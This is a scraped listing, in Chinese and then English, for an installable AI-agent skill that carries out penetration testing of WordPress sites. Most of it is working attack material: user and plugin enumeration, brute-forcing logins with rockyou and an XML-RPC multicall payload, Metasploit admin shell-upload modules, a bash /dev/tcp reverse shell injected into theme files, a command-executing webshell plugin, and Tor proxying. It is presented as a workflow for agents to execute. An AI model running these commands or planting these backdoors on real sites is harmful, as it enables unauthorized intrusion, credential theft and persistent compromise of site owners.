wordpress-penetration-testing by sickn33/antigravity-awesome-skills
npx skills add https://github.com/sickn33/antigravity-awesome-skills --skill wordpress-penetration-testing对 WordPress 安装进行全面的安全评估,包括用户、主题和插件的枚举、漏洞扫描、凭证攻击和利用技术。WordPress 为大约 35% 的网站提供支持,使其成为安全测试的关键目标。
识别 WordPress 安装:
# 检查 WordPress 指示器
curl -s http://target.com | grep -i wordpress
curl -s http://target.com | grep -i "wp-content"
curl -s http://target.com | grep -i "wp-includes"
# 检查常见 WordPress 路径
curl -I http://target.com/wp-login.php
curl -I http://target.com/wp-admin/
curl -I http://target.com/wp-content/
curl -I http://target.com/xmlrpc.php
# 检查元生成器标签
curl -s http://target.com | grep "generator"
# Nmap WordPress 检测
nmap -p 80,443 --script http-wordpress-enum target.com
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
关键的 WordPress 文件和目录:
/wp-admin/ - 管理仪表板/wp-login.php - 登录页面/wp-content/ - 主题、插件、上传文件/wp-includes/ - 核心文件/xmlrpc.php - XML-RPC 接口/wp-config.php - 配置文件(如果安全则无法访问)/readme.html - 版本信息使用 WPScan 进行全面的 WordPress 扫描:
# 基本扫描
wpscan --url http://target.com/wordpress/
# 使用 API 令牌(用于漏洞数据)
wpscan --url http://target.com --api-token YOUR_API_TOKEN
# 激进检测模式
wpscan --url http://target.com --detection-mode aggressive
# 输出到文件
wpscan --url http://target.com -o results.txt
# JSON 输出
wpscan --url http://target.com -f json -o results.json
# 详细输出
wpscan --url http://target.com -v
识别 WordPress 版本:
# WPScan 版本检测
wpscan --url http://target.com
# 手动版本检查
curl -s http://target.com/readme.html | grep -i version
curl -s http://target.com/feed/ | grep -i generator
curl -s http://target.com | grep "?ver="
# 检查元生成器
curl -s http://target.com | grep 'name="generator"'
# 检查 RSS 源
curl -s http://target.com/feed/
curl -s http://target.com/comments/feed/
版本来源:
识别已安装的主题:
# 枚举所有主题
wpscan --url http://target.com -e at
# 仅枚举易受攻击的主题
wpscan --url http://target.com -e vt
# 带检测模式的主题枚举
wpscan --url http://target.com -e at --plugins-detection aggressive
# 手动主题检测
curl -s http://target.com | grep "wp-content/themes/"
curl -s http://target.com/wp-content/themes/
主题漏洞检查:
# 搜索主题漏洞利用
searchsploit wordpress theme <theme_name>
# 检查主题版本
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
识别已安装的插件:
# 枚举所有插件
wpscan --url http://target.com -e ap
# 仅枚举易受攻击的插件
wpscan --url http://target.com -e vp
# 激进插件检测
wpscan --url http://target.com -e ap --plugins-detection aggressive
# 混合检测模式
wpscan --url http://target.com -e ap --plugins-detection mixed
# 手动插件发现
curl -s http://target.com | grep "wp-content/plugins/"
curl -s http://target.com/wp-content/plugins/
要检查的常见易受攻击插件:
# 搜索插件漏洞利用
searchsploit wordpress plugin <plugin_name>
searchsploit wordpress mail-masta
searchsploit wordpress slideshow gallery
searchsploit wordpress reflex gallery
# 检查插件版本
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
发现 WordPress 用户:
# WPScan 用户枚举
wpscan --url http://target.com -e u
# 枚举特定数量的用户
wpscan --url http://target.com -e u1-100
# 作者 ID 枚举(手动)
for i in {1..20}; do
curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
done
# JSON API 用户枚举(如果启用)
curl -s http://target.com/wp-json/wp/v2/users
# REST API 用户枚举
curl -s http://target.com/wp-json/wp/v2/users?per_page=100
# 登录错误枚举
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
运行所有枚举模块:
# 枚举所有内容
wpscan --url http://target.com -e at -e ap -e u
# 替代的全面扫描
wpscan --url http://target.com -e vp,vt,u,cb,dbe
# 枚举标志:
# at - 所有主题
# vt - 易受攻击的主题
# ap - 所有插件
# vp - 易受攻击的插件
# u - 用户(1-10)
# cb - 配置备份
# dbe - 数据库导出
# 完整的激进枚举
wpscan --url http://target.com -e at,ap,u,cb,dbe \
--detection-mode aggressive \
--plugins-detection aggressive
暴力破解 WordPress 凭证:
# 单用户暴力破解
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
# 来自文件的多个用户
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
# 带密码攻击线程
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
# XML-RPC 暴力破解(更快,可能绕过保护)
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
# 带 API 限制的暴力破解
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
# 创建目标单词列表
cewl http://target.com -w wordlist.txt
wpscan --url http://target.com -U admin -P wordlist.txt
密码攻击方法:
wp-login - 标准登录表单xmlrpc - XML-RPC 多调用(更快)xmlrpc-multicall - 每个请求多个密码获取凭证后:
# 启动 Metasploit
msfconsole
# 管理员 Shell 上传
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD jessica
set TARGETURI /wordpress
set LHOST <your_ip>
exploit
# Slideshow Gallery 漏洞利用
use exploit/unix/webapp/wp_slideshowgallery_upload
set RHOSTS target.com
set TARGETURI /wordpress
set USERNAME admin
set PASSWORD jessica
set LHOST <your_ip>
exploit
# 搜索 WordPress 漏洞利用
search type:exploit platform:php wordpress
主题/插件编辑器(具有管理员访问权限):
// 导航到 外观 > 主题编辑器
// 编辑 404.php 或 functions.php
// 添加 PHP 反向 Shell:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
?>
// 或使用 weevely 后门
// 通过以下方式访问:http://target.com/wp-content/themes/theme_name/404.php
插件上传方法:
# 创建恶意插件
cat > malicious.php << 'EOF'
<?php
/*
Plugin Name: Malicious Plugin
Description: Security Testing
Version: 1.0
*/
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
EOF
# 压缩并通过 插件 > 添加新插件 > 上传插件 上传
zip malicious.zip malicious.php
# 访问 Web Shell
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
# 检查 XML-RPC 是否启用
curl -X POST http://target.com/xmlrpc.php
# 列出可用方法
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php
# 通过 XML-RPC 多调用进行暴力破解
cat > xmlrpc_brute.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param>
</params>
</methodCall>
EOF
curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
# 使用 Tor 代理
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
# HTTP 代理
wpscan --url http://target.com --proxy http://127.0.0.1:8080
# Burp Suite 代理
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
# 基本认证
wpscan --url http://target.com --http-auth admin:password
# 强制 SSL/TLS
wpscan --url https://target.com --disable-tls-checks
| 标志 | 描述 |
|---|---|
-e at | 所有主题 |
-e vt | 易受攻击的主题 |
-e ap | 所有插件 |
-e vp | 易受攻击的插件 |
-e u | 用户(1-10) |
-e cb | 配置备份 |
-e dbe | 数据库导出 |
| 路径 | 用途 |
|---|---|
/wp-admin/ | 管理仪表板 |
/wp-login.php | 登录页面 |
/wp-content/uploads/ | 用户上传 |
/wp-includes/ | 核心文件 |
/xmlrpc.php | XML-RPC API |
/wp-json/ | REST API |
| 用途 | 命令 |
|---|---|
| 基本扫描 | wpscan --url http://target.com |
| 所有枚举 | wpscan --url http://target.com -e at,ap,u |
| 密码攻击 | wpscan --url http://target.com -U admin -P pass.txt |
| 激进模式 | wpscan --url http://target.com --detection-mode aggressive |
--random-user-agent--throttle 1000解决方案:
解决方案:
--throttle 500解决方案:
此技能适用于执行概述中描述的工作流程或操作。
每周安装数
119
仓库
GitHub 星标数
27.1K
首次出现
2026年2月21日
安全审计
安装于
opencode119
cursor117
github-copilot117
codex117
amp117
kimi-cli117
Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.
Identify WordPress installations:
# Check for WordPress indicators
curl -s http://target.com | grep -i wordpress
curl -s http://target.com | grep -i "wp-content"
curl -s http://target.com | grep -i "wp-includes"
# Check common WordPress paths
curl -I http://target.com/wp-login.php
curl -I http://target.com/wp-admin/
curl -I http://target.com/wp-content/
curl -I http://target.com/xmlrpc.php
# Check meta generator tag
curl -s http://target.com | grep "generator"
# Nmap WordPress detection
nmap -p 80,443 --script http-wordpress-enum target.com
Key WordPress files and directories:
/wp-admin/ - Admin dashboard/wp-login.php - Login page/wp-content/ - Themes, plugins, uploads/wp-includes/ - Core files/xmlrpc.php - XML-RPC interface/wp-config.php - Configuration (not accessible if secure)/readme.html - Version informationComprehensive WordPress scanning with WPScan:
# Basic scan
wpscan --url http://target.com/wordpress/
# With API token (for vulnerability data)
wpscan --url http://target.com --api-token YOUR_API_TOKEN
# Aggressive detection mode
wpscan --url http://target.com --detection-mode aggressive
# Output to file
wpscan --url http://target.com -o results.txt
# JSON output
wpscan --url http://target.com -f json -o results.json
# Verbose output
wpscan --url http://target.com -v
Identify WordPress version:
# WPScan version detection
wpscan --url http://target.com
# Manual version checks
curl -s http://target.com/readme.html | grep -i version
curl -s http://target.com/feed/ | grep -i generator
curl -s http://target.com | grep "?ver="
# Check meta generator
curl -s http://target.com | grep 'name="generator"'
# Check RSS feeds
curl -s http://target.com/feed/
curl -s http://target.com/comments/feed/
Version sources:
Identify installed themes:
# Enumerate all themes
wpscan --url http://target.com -e at
# Enumerate vulnerable themes only
wpscan --url http://target.com -e vt
# Theme enumeration with detection mode
wpscan --url http://target.com -e at --plugins-detection aggressive
# Manual theme detection
curl -s http://target.com | grep "wp-content/themes/"
curl -s http://target.com/wp-content/themes/
Theme vulnerability checks:
# Search for theme exploits
searchsploit wordpress theme <theme_name>
# Check theme version
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
Identify installed plugins:
# Enumerate all plugins
wpscan --url http://target.com -e ap
# Enumerate vulnerable plugins only
wpscan --url http://target.com -e vp
# Aggressive plugin detection
wpscan --url http://target.com -e ap --plugins-detection aggressive
# Mixed detection mode
wpscan --url http://target.com -e ap --plugins-detection mixed
# Manual plugin discovery
curl -s http://target.com | grep "wp-content/plugins/"
curl -s http://target.com/wp-content/plugins/
Common vulnerable plugins to check:
# Search for plugin exploits
searchsploit wordpress plugin <plugin_name>
searchsploit wordpress mail-masta
searchsploit wordpress slideshow gallery
searchsploit wordpress reflex gallery
# Check plugin version
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
Discover WordPress users:
# WPScan user enumeration
wpscan --url http://target.com -e u
# Enumerate specific number of users
wpscan --url http://target.com -e u1-100
# Author ID enumeration (manual)
for i in {1..20}; do
curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
done
# JSON API user enumeration (if enabled)
curl -s http://target.com/wp-json/wp/v2/users
# REST API user enumeration
curl -s http://target.com/wp-json/wp/v2/users?per_page=100
# Login error enumeration
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
Run all enumeration modules:
# Enumerate everything
wpscan --url http://target.com -e at -e ap -e u
# Alternative comprehensive scan
wpscan --url http://target.com -e vp,vt,u,cb,dbe
# Enumeration flags:
# at - All themes
# vt - Vulnerable themes
# ap - All plugins
# vp - Vulnerable plugins
# u - Users (1-10)
# cb - Config backups
# dbe - Database exports
# Full aggressive enumeration
wpscan --url http://target.com -e at,ap,u,cb,dbe \
--detection-mode aggressive \
--plugins-detection aggressive
Brute-force WordPress credentials:
# Single user brute-force
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
# Multiple users from file
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
# With password attack threads
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
# XML-RPC brute-force (faster, may bypass protection)
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
# Brute-force with API limiting
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
# Create targeted wordlist
cewl http://target.com -w wordlist.txt
wpscan --url http://target.com -U admin -P wordlist.txt
Password attack methods:
wp-login - Standard login formxmlrpc - XML-RPC multicall (faster)xmlrpc-multicall - Multiple passwords per requestAfter obtaining credentials:
# Start Metasploit
msfconsole
# Admin shell upload
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD jessica
set TARGETURI /wordpress
set LHOST <your_ip>
exploit
# Slideshow Gallery exploit
use exploit/unix/webapp/wp_slideshowgallery_upload
set RHOSTS target.com
set TARGETURI /wordpress
set USERNAME admin
set PASSWORD jessica
set LHOST <your_ip>
exploit
# Search for WordPress exploits
search type:exploit platform:php wordpress
Theme/plugin editor (with admin access):
// Navigate to Appearance > Theme Editor
// Edit 404.php or functions.php
// Add PHP reverse shell:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
?>
// Or use weevely backdoor
// Access via: http://target.com/wp-content/themes/theme_name/404.php
Plugin upload method:
# Create malicious plugin
cat > malicious.php << 'EOF'
<?php
/*
Plugin Name: Malicious Plugin
Description: Security Testing
Version: 1.0
*/
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
EOF
# Zip and upload via Plugins > Add New > Upload Plugin
zip malicious.zip malicious.php
# Access webshell
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
# Check if XML-RPC is enabled
curl -X POST http://target.com/xmlrpc.php
# List available methods
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php
# Brute-force via XML-RPC multicall
cat > xmlrpc_brute.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param>
</params>
</methodCall>
EOF
curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
# Use Tor proxy
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
# HTTP proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080
# Burp Suite proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
# Basic authentication
wpscan --url http://target.com --http-auth admin:password
# Force SSL/TLS
wpscan --url https://target.com --disable-tls-checks
| Flag | Description |
|---|---|
-e at | All themes |
-e vt | Vulnerable themes |
-e ap | All plugins |
-e vp | Vulnerable plugins |
-e u | Users (1-10) |
-e cb | Config backups |
-e dbe |
| Path | Purpose |
|---|---|
/wp-admin/ | Admin dashboard |
/wp-login.php | Login page |
/wp-content/uploads/ | User uploads |
/wp-includes/ | Core files |
/xmlrpc.php | XML-RPC API |
/wp-json/ | REST API |
| Purpose | Command |
|---|---|
| Basic scan | wpscan --url http://target.com |
| All enumeration | wpscan --url http://target.com -e at,ap,u |
| Password attack | wpscan --url http://target.com -U admin -P pass.txt |
| Aggressive | wpscan --url http://target.com --detection-mode aggressive |
--random-user-agent--throttle 1000Solutions:
Solutions:
--throttle 500Solutions:
This skill is applicable to execute the workflow or actions described in the overview.
Weekly Installs
119
Repository
GitHub Stars
27.1K
First Seen
Feb 21, 2026
Security Audits
Gen Agent Trust HubFailSocketWarnSnykFail
Installed on
opencode119
cursor117
github-copilot117
codex117
amp117
kimi-cli117
Azure PostgreSQL 无密码身份验证配置指南:Entra ID 迁移与访问管理
34,800 周安装
| Database exports |